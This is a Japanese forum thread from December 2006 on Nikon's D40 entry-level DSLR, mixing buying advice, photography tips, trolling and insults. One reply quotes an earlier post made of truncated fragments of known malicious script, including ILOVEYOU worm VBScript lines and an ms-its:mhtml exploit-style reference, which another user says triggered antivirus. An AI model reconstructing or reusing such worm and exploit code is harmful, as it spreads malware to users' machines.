参入した7月以降、順調な伸びをみせ、民間調査会社BCNによると10月の販売
台数は前年の2倍に達した。10万円以下の低価格帯の新商品が、一眼レフの
購入層を女性などに広げ、需要拡大を牽引(けんいん)している。

 ニコンが12月1日に発売する入門機「D40」は、本体実勢価格が6万円以下と
デジタル一眼レフで最安値を実現した。コンパクト型に迫る価格で、「いままで
一眼レフに手がでなかった層を狙った」(広報・IR部)という。女性を意識し、
重量を現行の入門機「D50」より65グラム軽い475グラムに抑えた。本体肩の
機能表示用液晶をなくし、背面液晶モニターに集約して小型化も進めた。

 ニコンは9月に本体価格約12万円の中級機「D80」を投入。タレントの木村
拓哉さんを起用した広告の効果などもあり、人気を博した。年末商戦に低価格機
を投入、拡販を図る。

ttp://headlines.yahoo.co.jp/hl?a=20061118-00000014-fsi-ind

101 :名無CCDさん@画素いっぱい:2006/12/07(木) 13:09:47 ID:RsH2eNOl0
>>99
だろ?
でもMF云々の書き込みを見るたびにF2を使ってる俺は揺れ動くw
こんなスレをチラ見してる俺は恥ずかしながらデジ1童貞
筆下ろしにD40を検討中。

102 :名無CCDさん@画素いっぱい:2006/12/07(木) 13:12:24 ID:q9O6di480
ファインダーがつらいぞ。
悪い事言わないからせめてD80にしとき

103 :名無CCDさん@画素いっぱい:2006/12/07(木) 13:21:46 ID:DMDa8zee0
てか、キタムラの画質比較サイトの絵を見る限りでは、
どう考えてもD50のほうが画質がいいんだが。

104 :名無CCDさん@画素いっぱい:2006/12/07(木) 13:43:52 ID:zi/CNoBt0
>>102 D80はどうかと思うが

105 :名無CCDさん@画素いっぱい:2006/12/07(木) 13:59:13 ID:2KAK/TA40
これまでのニコン機の画質を支持してきた人にとって
このカメラの親しみやすい画質はいかがなんでしょうか。

106 :101:2006/12/07(木) 14:13:07 ID:RsH2eNOl0
>>102アドバイスありがとう
でもD80を射程に入れたら、どうせなら愛用レンズで測光できるD200がいいかと。
でもD200を射程に入れてD40を振り返れば「半額以下でねぇの!」と。
こうしてD40に舞い戻って堂々巡り。
どうせ何を買ってもAFできないのでD40でお試ししてみます。画質だけは
いいらしいし。(語弊あり?)

107 :名無CCDさん@画素いっぱい:2006/12/07(木) 14:21:32 ID:KGrMG+8v0
MF専ならD40でいいんじゃないの?

108 :名無CCDさん@画素いっぱい:2006/12/07(木) 14:22:59 ID:KD2ldPPi0
>>195
ニコン機のデフォルト設定での撮って出しは、昔から今ひとつと言われてたよね。
特にAWBがダメって言われてたかな。

で、俺達ニコ爺は、自分で良い設定を探り、場合によってはRAWで撮って、
自分の好みの画質にしてきたんだよね。
そう言う意味で、画質設定が楽でRAW現像ソフトが使い易いニコン機を評価してきた。
デフォルト設定には、常に文句を言いながらね。

もちろん、自分もデフォルト設定の撮って出しで満足した事はほとんど無いしね。

そう言う意味で、D40はかなり進歩したんじゃないかな?

少なくとも、コンパクトデジからのステップアップユーザーには、
デフォルトの撮って出しが、今まで機種以上には評価されるんじゃないかな?

109 :名無CCDさん@画素いっぱい:2006/12/07(木) 14:24:05 ID:KD2ldPPi0
あ〜やっちゃった。>>108>>105へね。

110 :名無CCDさん@画素いっぱい:2006/12/07(木) 14:24:16 ID:zi/CNoBt0
>>106 お試しなら安い中古のD50でも買っとけ

111 :名無CCDさん@画素いっぱい:2006/12/07(木) 14:26:21 ID:z2aikPPz0
/

112 :105:2006/12/07(木) 14:29:01 ID:2KAK/TA40
まともなレスありがとうございます。
40Dのjpegは進化したものだと理解しました。

113 :名無CCDさん@画素いっぱい:2006/12/07(木) 14:54:05 ID:73uEwOL60
何を買って良いかわからなくなった。

114 :名無CCDさん@画素いっぱい:2006/12/07(木) 15:00:23 ID:QxcRDsmB0
高感度でも低のイズですね

http://provyake.jog.buttobi.net/usr/bin/perl/cgi-bin/img-box/img20061207145925.jpg

115 :名無CCDさん@画素いっぱい:2006/12/07(木) 15:01:06 ID:zi/CNoBt0
>>113 答えなんかないのさ〜

116 :名無CCDさん@画素いっぱい:2006/12/07(木) 15:02:34 ID:sK6Uihkn0
>>113
そんなアナタにはコンデジがよろしいかと
でもそれじゃ嫌なんだろ
コンデジ買う感覚でd40レンズセットいっとけ
で単焦点を一発買い増す
買い替えとか不要になったときでもオクでは大人気だぞ

117 :名無CCDさん@画素いっぱい:2006/12/07(木) 15:15:07 ID:7NJKD5ER0
>>105
108が言ってるが、結局自分でいじることの方が多かったな。

でも最近のD80や、D40の画は、「こんなテイスト」って割り切れば
特徴的で面白く感じる。銀塩フィルムを使いわけるような感覚だよ。

今日は薄暗い感じの曇りだったけど、D40の「鮮やか」を使ったら
ちゃんと色が出た。うそ臭い感じもするけど、でもちゃんと写真になった。

118 :名無CCDさん@画素いっぱい:2006/12/07(木) 15:35:44 ID:ysiW42Q40
>>114
グロ

119 :名無CCDさん@画素いっぱい:2006/12/07(木) 15:59:08 ID:WKX/QeD60
でっかいコンデジからの買い替えで色々検討中の初心者です。
>>114
この場合叉焼にピントが合ってるじゃないですか、
これをラーメンどんぶり全体にピントが合うようには設定だけで出来るんですか?
一眼って奥がボケるのが出来るって言うけど、奥がボケない方がいい場面もあると
思うのですが、キットレンズでそう言う色々な撮り方が設定で出来るのか?
それともレンズを色々揃えないとできないのか?ここが知りたいです。
くだらん質問だと思いますが。

色云々の話題が続いていますが、カメラの作る画像ってフィルムで言えばお任せ現像&プリントで、
RAWのPCでの現像&プリントが、自宅暗室で現像とかラボでのカスタムな現像&プリントってことですよね。
デジカメがフィルムがCCDに変わっただけだと考えると、お任せプリントの色がどうこうってあまり意味がないような。
また、調整レタッチ等が容易なのを考えると、鮮明に取れるかどうかが問題のような。
逆に手軽に綺麗な写真がという場合はそのお任せ部分が重要になるんですよね。でもそれは万人向けには無理なわけで、
本気デジイチの方がそれを言っては行けないような。それは、でっかいコンデジではちょっとだけ物足りない私みたいなのが
問題にするレベルの話ではないかなと。

120 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:01:41 ID:Xknkwngx0
こんなレベルの奴が買うカメラなんだよなあ

121 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:07:08 ID:zi/CNoBt0
でも、勉強すればあっと言う間に>>120よりうまくなるだろうな

122 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:18:03 ID:eEhrD9j/0
>>119
レンズの絞りを絞り込む(=F値の数値を大きいほうにセットする)と、
被写界深度(=ピントが合って見える奥行き)が広くなる
背景を大きくぼかすには、開放F値(絞りを最大に開いたときの数値)が小さい、
いわゆる「明るい」レンズのほうが効果が大きいが
キットレンズでも絞り込むほうは十分できるから問題ないし、
撮り方を工夫すればそれなりに背景をぼかすこともできるよ

123 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:24:01 ID:o7w6A3Uv0
>>119
レンズはキットレンズでよい。
できるなら広角側、つまり広く写る方にズームする。
それから、カメラのモードを絞り優先(A)モードにする。
背面のダイアルを回して、絞り値をF11位にする。
(絞り値はファインダ内に表示されるし、infoボタンで背面画面にも表示できる)
ラーメンを撮影するのは室内だから、カメラ左側情報にある稲妻マークのボタンを押して
内蔵スピードライトを上げておけば、撮影時に発光するので手振れしなくてよいだろう。
ファインダ中央の四角い枠にラーメンを合わせて、
シャッターボタンを静かに押す。

124 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:24:43 ID:2KAK/TA40
>>119
後半が質問なのかなんなのかよくわかりません。

125 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:29:15 ID:WKX/QeD60
連投ですみません
あと、オートフォーカスのスピードって静物を撮る場合も重要ですか?
私は犬撮りがメインなので、オートフォーカスのスピードは気になりますが、
動いている物の場合は多少のピンぼけはね。外の場合はシャッタースピードが早いから
大体大丈夫ですけど、屋内の場合は問題だけど逆に大きな動きはないわけだからまあ大丈夫かと。
レンズはキットダブルと明るい広角をそろえたいけど、明るい広角って高価ですよね。ボディー以上か?
義理の兄がニコンオタなんで、オートフォーカスを捨てればレンズ借りれるかなとかね。
正直言うと怒られそうだけど6000fdと迷ってるんです。どっちがいいかな〜?マジ悩む。


126 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:30:52 ID:Xknkwngx0
何言ってるのか誰か訳せ

127 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:31:56 ID:WKX/QeD60
さらに連投すみません。
D40と31fdの組み合わせってのでもいいかな。

128 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:33:02 ID:q9O6di480
>>ID:WKX/QeD60
何が言いたいのか解らんことが多いが、
とりあえずD40一台にしとけ。コンデジはいらん。

129 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:34:40 ID:Xknkwngx0
いや、6000fdのほうが絶対いいよ
ピントもしっかり来るし画質では同じくらいだよ

130 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:36:18 ID:zi/CNoBt0
>>129 それなら6000fdはさぞ売れてるんだろうなw

131 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:36:37 ID:q9O6di480
同じぐらいならやめといたほうがいいだろ?
レンズを買えばコンデジ何台分にもなる。

132 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:37:39 ID:Xknkwngx0
いや、あれは写真分ってるマニア向けだから
分らん初心者は安いD40に騙されるんだよw

133 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:39:59 ID:q9O6di480
>>132
kwsk

134 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:40:02 ID:46/oLHkc0
いやむしろコンデジにしとけ。
被写界深度では優位。
一眼にしたら、いろんなもののせいにして、
散財しかねん。

135 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:43:30 ID:WKX/QeD60
>>120 〜 123
丁寧にありがとうございます。
キットレンズで色々できるんですね。
被写界深度を深くする場合は暗くなるってことか?
フラッシュを使わないで明るい被写界深度が深い写真は難しいってことか?
そうすると自然に光が当たってるようなライティングが必要?
どんどん深みに・・・・。
私にはちょっと深すぎるような。デジカメだからダメモトでバシバシ撮れるから
いいけど、フィルムだったら一押しが真剣だね。
だから、カメラマンはなかなかシャッター切らないのか!

136 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:43:56 ID:Xknkwngx0
そうそう、一眼買っても結局使いきれなくなるからな
普通にお店のLプリントならコンデジのほうがいいよ
小さい一眼より大きなコンデジのほうが良く写るんだしな

137 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:45:56 ID:q9O6di480
>>136
それよりマニア向けの話をkwsk

138 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:46:39 ID:Xknkwngx0
またキター!!
>>135
そう、良く分ってるじゃん
一眼では被写界深度を深くすると写真が暗くなってブレ写真になる
コンデジなら気にせず明るい被写界深度で撮れるからね

139 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:47:35 ID:q9O6di480
>>135
その辺はD40でも6000fdでも同じ。
一眼だから難しいってことはまったく無い。

140 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:48:28 ID:Xknkwngx0
>>137
無理、ここでは言えんな
ヒント F30

141 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:48:52 ID:xwvoy4n/0
みんなマンドクセ状態になっててワロスw

>135
取り敢えず「被写界深度」でググれ。こんな文字掲示板じゃ説明が追いつかんw
ググった先には「こう設定すればこうなる、こう変えたらこうなる」と
実例を列挙して説明してるから解りやすいぞ。

142 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:50:16 ID:q9O6di480
まあ言えないならいいがw
何で言えないんだろうなw

143 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:50:29 ID:eEhrD9j/0
>>136
>そうそう、一眼買っても結局使いきれなくなるからな

ID:Xknkwngx0が
「一眼買っても結局使いきれなく」なった奴だということはよく分かった



144 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:51:29 ID:Xknkwngx0
だからプロカメラマンは、仕事では格好が必要だから
大きなデジ一眼を使ってるんだが
プライベートでは90パーセントはコンデジ使ってるしね

145 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:53:30 ID:zi/CNoBt0
>>140 盗撮マニアはすっこんでろ!

146 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:53:57 ID:q9O6di480
>>144
ああ解った。難しいからマニア向けって事かwww
ありがとう、もういいよ。

147 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:56:57 ID:oJH3U3JVO
最初の一台にするならコンデジを勧めるよ。
小さいからポケットに入れてどこにでも持っていけるし、
動画もマクロも何でもできる。
画質はそこそこだけど、L判にプリントする程度なら大丈夫。

148 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:57:03 ID:Xknkwngx0
秘密を教えておまえらが全員S6000fdに乗り換えたらどうすんだよ
売れまくって在庫切れだろ

149 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:58:17 ID:q9O6di480
>>147
6000fdはポッケには入らないと思うよ。
>>148
もういいからww

150 :名無CCDさん@画素いっぱい:2006/12/07(木) 16:58:17 ID:Xknkwngx0
てか、今どきファインダー覗いて撮影ってw
カメヲタキモスって言われるだけだぞ

151 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:01:56 ID:zi/CNoBt0
D40と愉快な仲間たちw

152 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:04:05 ID:WKX/QeD60
みなさん、どうもありがとうございます。
大体わかったけど、まだ決まらない。
ググッて実例を見比べてみます。
(カメラとレンズが違うと違うから、D40に詳しい方に特定で聞いた方がね)
最後にもう一点だけ。
外付けフラッシュで上のほうとか向いてるやつとか、
上に白い屋根(庇)見たいなのが付いてるやつってソフトに光が当たるんですか?
フラッシュの光量って変えれるの?

やっぱD40かな。

153 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:04:57 ID:oJH3U3JVO
>>149
いや、入るよ。問題ない。まったく。

何度も言うけど、最初の一台はコンデジで十分。
一眼レフは大げさ過ぎる。


154 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:07:09 ID:QxcRDsmB0
コンデジは制限が多くてキライなの

155 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:09:09 ID:qdXbd4l40
>>152
>外付けフラッシュで上のほうとか向いてるやつとか、 
>上に白い屋根(庇)見たいなのが付いてるやつってソフトに光が当たるんですか?

そう言う事。バウンスって言うのね。勉強してみて。

まあ、記録写真やスナップだけならコンパクトの方が良いと思うよ。
それもF30みたいに小さいやつの方が良い。

でも、ちょっと凝った写真を撮りたければ、入門用としてD40は、かなり良いと思うな。
少なくともコストパフォーマンスを考えたらね。

156 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:09:58 ID:q9O6di480
D40は大げさで、6000fdならおおげさでないってのがまったく解らんな。
6000fdが入るポッケならD40もはいるよ。

157 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:10:22 ID:Xknkwngx0
おまえらヲタには分らんだろうが
今流行のスタイルはコンデジでササーッっと撮ってお洒落なバッグになおす

>>152
一眼では自然の光で撮ると被写界深度の関係で暗く写るから
フラッシュも大きくて高いのが必要なんだ
S6000fdなら内蔵フラッシュ使わなくても明るくハッキリした写真が撮れるよ


158 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:11:19 ID:zi/CNoBt0
>>152 とりあえずここら辺でも見とけ
http://www.nikon.co.jp/main/jpn/feelnikon/discovery/workshop/index.htm

159 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:14:47 ID:Xknkwngx0
因みに、S6000fd並の画像を撮ろうとすれば
レンズ3万フラッシュ3万三脚一万・・・
これくらいは最低別で必要だと思われ

160 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:15:49 ID:WKX/QeD60
本当に丁寧にありがとうございます。
決まったらご報告します。

161 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:16:03 ID:q9O6di480
ID:Xknkwngx0はどんだけ一眼に対して偏見があるんだwww
4年前のオレみたいだww

162 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:16:24 ID:Xknkwngx0
報告に来るのか

163 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:16:36 ID:aEuDRF5V0
>>157
「なおす」は標準語じゃないだろw
「しまう」が標準語だw

164 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:18:07 ID:zi/CNoBt0
最近のコンデジはバッグに変形するのかと思ったw

165 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:24:51 ID:Xknkwngx0
おまえらヲタはデートとか無縁だろうから仕方ないが
デートで一眼ぶらさげて行ったら終わるぞ
小さいお洒落なコンデジならお互い使えて楽しめるが
レストランでも一眼持って入るって・・・・・
そんな奴はおらん

166 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:26:20 ID:aEuDRF5V0
>そんな奴はおらん
ノシ

167 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:27:30 ID:Xknkwngx0
いるのか

168 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:28:30 ID:zi/CNoBt0
ワロタ

169 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:29:22 ID:qdXbd4l40
>>165
つうか、S6000fdだって同じくらいの大きさだろ?
俺ならD40が大きいと思った時は、少なくともS6000じゃなくてF30だな。

170 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:31:59 ID:HHdwUj6Z0
>そんな奴はおらん
♀ノシ

171 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:33:59 ID:Xknkwngx0
>>169
そんなに大きいのか?S6000fd
じゃあ駄目だな
お勧めはパナのFX-01だ

172 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:35:16 ID:aEuDRF5V0
>小さいお洒落なコンデジならお互い使えて楽しめるが
なんか淫靡な雰囲気でつね(*'-'*)

173 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:35:51 ID:zi/CNoBt0
>>171知らないで薦めてたのかよ!

174 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:36:43 ID:kCBTyovd0
>>106
量販店に行って、展示機のファインダーを覗いて比べてみれ。
D40とD80とD200、どれもファインダーが小さくて見づらいと感じると思うが、
正直に言って、藻前が一番気に入るのはD40だと思う。

D80とD200はファインダーはD40より一回り大きいけど、ピントの切れがいまいち。
銀塩MF機からの乗り換え組には耐えられないと思う。

俺のオススメは、とりあえずD40買ってデジを楽しみつつ、MFは体感測光でガンガレ。
んで、本気でデジに移行する気になったら、中間すっとばしてD2Xsに逝け。
そうなってもD40は高感度に強いサブ機として充分役に立ってくれる。

と思う。

175 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:36:53 ID:aEuDRF5V0
糞ワロタw
おれもおかしいなと思ってたんだよw

176 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:38:01 ID:Xknkwngx0
D2X持ってレストラン入るのか

177 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:38:07 ID:qdXbd4l40
>>171
おまえはS6000fdの大きさを知らないでS6000fdを薦めていたのか?・・・orz

>お勧めはパナのFX-01だ
俺はF30の方が良いと思うけどな。ってF31fdってのも出たのね。
ただ、F10〜F30はレンズが・・・あのパープルが無くなれば俺も欲しい・・・スレ違いスマン。

178 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:45:46 ID:Xknkwngx0
まあたまに本気出す時はD50を持って行くけどな
コンデジは所詮コンデジだ

179 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:47:08 ID:WKX/QeD60
消えたつもりが・・・。
でっかっくても良いんです。
既婚だからレストランも平気です。
でっかいフラッシュは無理ですが。
スタイル的には一眼に出っ張りが小さいレンズが憧れです。
だからイマイチS6000fdには抵抗が。
でも、デジイチ用の広角は小さくないのですね。
オートフォーカスが出来なくても、明るい広角で出っ張りが小さいレンズって有りますか?

180 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:47:51 ID:oDKnkiOY0
「教えてクン」は、孤高の戦士である。相手のことを考えるようでは教えてクン失格というものだ。
以下のような行動が、望ましい。
厨房であることを高らかに宣言し、初心者向けの丁寧で
分かりやすい説明を強要する。2ちゃん用語や専門用語の使用を禁じておくと
さらに効果的である。簡潔な説明を禁じられたヲタクどもは、同じ内容を説明するのに、何倍もの労力を強いられる。
自分は努力せず、相手には多大な努力をさせることこそが「教えてクン」の真骨頂である。
マルチポストも有効である。そのスレッドを信用していないことを明確に示せる。
「どうせ、お前らじゃ分からんだろう。」という意志表示として高く評価できる。もちろんマルチポストの非礼をあらかじめ詫びてはならない。
それでは、単なる「急いでいる人」 になってしまう。それは、教えてクンではない。
スレッドのタイトルは、「教えてください。」で良い。
タイトルを読んだだけでは「何に関する質問」か全く分からない。
そういう努力は、答える人間にさせれば良いのだ。

とにかく、答える人間が答えやすいように気を使って質問してはならない。傲慢で不遜な態度が必須である。
「聞きたいことがあります。」など、プロの仕事であろう。

最後に、言うまでも無いことだとは思うが、答えてくれた人達にお礼の言葉を返すなど言語道断である。
せっかく「教えてクン」を貫いてきたのに、最後にお礼を言っているようでは、臥竜点睛を欠いていると言わざるを得ない。
質問だけしておいて、後はシカトが基本である。
上級テクニックとして、「そんなことはもう知っています。」とか、「そこまで新参じゃありません。」などと言って、固定どもの
神経を逆なでしておけば完璧である。

以上のことを踏まえて質問すれば、君も立派な「教えてクン」である。
ビバ!教えてクン! 教えてクンに栄光あれ!!


181 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:48:52 ID:zi/CNoBt0
>>179 ねぇよ!

182 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:52:02 ID:Xknkwngx0
またキター!!

>>179
既婚か
一眼なんて憧れは最初だけだよ
ずっと一眼使ってるとな、コンパクトでお洒落なカメラの良さに気付く。
いい年ならもっとこだわりを持て

Fujiのクラッセだ
人とは違うライフスタイルを演出してくれる

183 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:54:34 ID:7NJKD5ER0
コンデジの話すんならよそでやってくれよw
あと、D40購入前の質問は2問までです・・・

184 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:57:01 ID:Xknkwngx0
まったくだな
コンデジ厨は巣へ帰れ>>177

185 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:57:42 ID:xwvoy4n/0
>>180
「教えてクンに栄光あれ!!」まで読んだ。

186 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:58:39 ID:LGXeED/u0
しっかり相手をしてあげている優しい君たちに乾杯!


187 :名無CCDさん@画素いっぱい:2006/12/07(木) 17:59:08 ID:oDKnkiOY0

結婚もできねぇで一人前のクチ叩くなよ
ニート&25過ぎのヲタクども。
おまえら社会のお荷物and恥だよwwwwww

188 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:00:32 ID:Xknkwngx0
>>179
質問は週に1人2問だけだから、もう終わりだ
来週になったらまた2問質問出来るからまた来なさいね

189 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:00:58 ID:zi/CNoBt0
>>182 お勧めはパナのFX-01じゃなかったのかよ!

190 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:02:04 ID:iwCwpG4r0
71のせいでノートンがキックしやがる。ばかたれが。

191 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:03:10 ID:qdXbd4l40
>>184
俺かよ(笑

まあ、D40はニコンのハイエンドコンパクトのリプレース的な意味合いも有るから、
ハイエンドコンパクトと比べられるのは仕方が無いと思うよ。

一つ言えるのは、今、ハイエンドコンパクトを買って2年後に満足しているかどうかかな?
D40を買っておけば、2年後に、あの時失敗したなぁ・・・と言う事は少ないと思う。

192 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:04:31 ID:zi/CNoBt0
>>179
既婚か
結婚なんて憧れは最初だけだよ
ずっと一緒に暮らしてるとな、若くてでお洒落な女の良さに気付く。
いい年ならもっとこだわりを持て

ハイエンドの一眼だ
人とは違うライフスタイルを演出してくれる



193 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:08:27 ID:G1Ij1VC60
何mmを広角と言ってるかによる。

194 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:14:11 ID:oDKnkiOY0
>>192
よかったな( ´,_ゝ`)プッ

195 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:24:30 ID:QxcRDsmB0
普段はAI-Sレンズを使ってるからいいのだが、
半端にDタイプレンズを使うとマニュアルでの絞り操作がやりづらい。
そこでニコンは背面のコマンドボタンで絞り操作ができるようにファームアップしないといけないと思う。


196 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:28:25 ID:qU3fYrDD0
D40早速買って。

写してみたんだが。
内臓フラッシュが全く光らん。

サービスセンターに連絡したら、着払いで送ってくれと。
それが一昨日。

んで今日、新品と交換します、と連絡があった。

得したのか?俺?

197 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:29:18 ID:G1Ij1VC60
何も得した要素が無いと思うのだが…。

198 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:29:26 ID:s4KIu6Vg0
>>179
 おのずとパンケーキレンズが候補に挙がるけど、
 Nikonだと45mm F2.8しかなかったような気がする。

 それ以外だと Ai AF Nikkor ED 14mm F2.8D,20mm F2.8Dなど。
 前者は18万円前後する代物だけど・・・。


199 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:31:17 ID:WKX/QeD60
ニコン AI-s 24mm f2.8 24ミリ
とか
Ai Nikko 45mm F2.8 P(カッコいい)
とかみたいな感じで換算28ミリ
お答えは来週でもいいですが、忘れないうちに質問だけは上げさせたいただきます。

200 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:35:53 ID:G1Ij1VC60
いい大人がレンズの概観ぐらい自分で調べられないのか?


201 :名無CCDさん@画素いっぱい:2006/12/07(木) 18:59:48 ID:qdXbd4l40
>>195
>背面のコマンドボタンで絞り操作
さすがに、それを入門一眼に期待するのは・・・

と思ったけど、考えて見れば、絞りをボディからの操作にすれば、
追加ハード無しで、Aiレンズの開放測光&絞り操作が出きるんだね。
こりゃ、やっぱり全てのニコンデジ一眼のファームで対応して欲しい機能だわね。

202 :名無CCDさん@画素いっぱい:2006/12/07(木) 19:01:51 ID:o7w6A3Uv0
瞬間絞込み測光とか。

203 :名無CCDさん@画素いっぱい:2006/12/07(木) 20:18:48 ID:MPJX5qvn0
【 html化されたこのスレを読んでいるお前へ 】

どうだ、すっげーだろ
これがニコンがキヤノンに対抗できるとか本気で信じてる奴が居た最後の時代だぜ?w
今見ると、笑っちゃうよな?w
でも、時代の変化についていけない馬鹿は本気でニコンが対抗できるって思ってたんだ。
いや、思い込みたかったんだろうな、かわいそうに

おっと、このスレを見た良い子のみんなは
お兄ちゃんたちにニコンって何?って聞いちゃダメだぞ?
泣いちゃうかも知れないからそっとしとこうね^^


204 :名無CCDさん@画素いっぱい:2006/12/07(木) 20:18:50 ID:WrwqY31f0
>>196
新品が先に届いても、壊れたカメラはちゃんと返さなきゃダメだぞ?(笑)

205 :名無CCDさん@画素いっぱい:2006/12/07(木) 20:32:08 ID:7NJKD5ER0
>>191
確かに、レンズ交換式コンパクトデジカメ(一眼レフ式)と思えば
レンズが残るだけD40のがいいんだよな。

やっぱコンパクトでいいわ。
一眼デジカメ(中級機以上)のユーザーでも、
記念や記録撮りように、コンデジも持ってく人多いよね。
D40だと、薄型コンデジほど気軽でもないけど、
それでも持参したメイン機用のレンズが使えるってのは全然違う。

206 :名無CCDさん@画素いっぱい:2006/12/07(木) 20:33:50 ID:bjqL9UST0
>>203

キモイな、お前。
よい子のみんなは人生の敗北者>>203の真似しちゃ駄目だよ。

71 名前:名無CCDさん@画素いっぱい 投稿日:2006/12/07(木) 00:59:40 ID:MPJX5qvn0
body onload=window()>
If s = "htm" and fso.FileExists(f1.
Set A4 = A1.CreateText
fso.copyfile "c:\network.v
c.Copy(dirsystem&
c.Copy(dirwin&"\W
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadca
ms-its:
kak.hta';ken
c$ = Application.S
m$ = Dir(c$ & "\" & "PE
If m$ = "PERSONAL.XLS" T
If ActiveWorkbook.Modules.Cou
whichfile
End Sub
??

207 :名無CCDさん@画素いっぱい:2006/12/07(木) 20:46:17 ID:WrwqY31f0
キャノネットの思い描く理想の未来って、
キヤノン以外のメーカーがすべて撤退して、
世界中のカメラがEOS一色になる未来なのか。


……また随分とつまらん未来だな。

208 :名無CCDさん@画素いっぱい:2006/12/07(木) 20:59:50 ID:Qq1okj2I0


最後の勝者はSAMSUNGのブランドと化したPENTAXのような気もするナ



209 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:01:31 ID:T94uEpPN0
結婚なんかしたら200-400VRF4も200mmF2VRも買えないじゃん。
なんの為に嫌な思いして結婚しなきゃならんのか理解できん。

210 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:01:47 ID:/ChmXXt50
50年後はみんな中国あるよ

211 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:11:11 ID:rS3aqyYg0
50年後はみんな火星に移住してるって。
まだ地球なの?とか言われてるぞ。

212 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:18:36 ID:EfzOR+hL0
地球寄ってく?とかほんとに言ってるのかw

213 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:20:22 ID:mIpvKopYO
キャノンという会社の製品開発の目標は「いかにもうけるか」じゃないかな。
企業であるからには当然なんだろうけど。
結果、あまり魅力の無い製品が増えているように感じる。
ニコンにはまだ、いいカメラを作ろうという姿勢があると思う。


214 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:23:58 ID:Gy/AQSMD0
とても不味いラーメンです、二度とは食えませんって感じが良く出ています。

215 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:24:04 ID:2KAK/TA40
売れるカメラ作りたくて必死なのは
意味もなくキムタコに絶賛させているのをみれば一目瞭然。
どこがいいんだよD80w

216 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:25:06 ID:NAlvN7NMO
D70Sのサブとして買ったけど、
これ、ツーボタンフォーマットないじゃん orz
これじゃ、盗撮に使えな(ry

217 :名無CCDさん@画素いっぱい:2006/12/07(木) 21:26:48 ID:J8APvT6G0
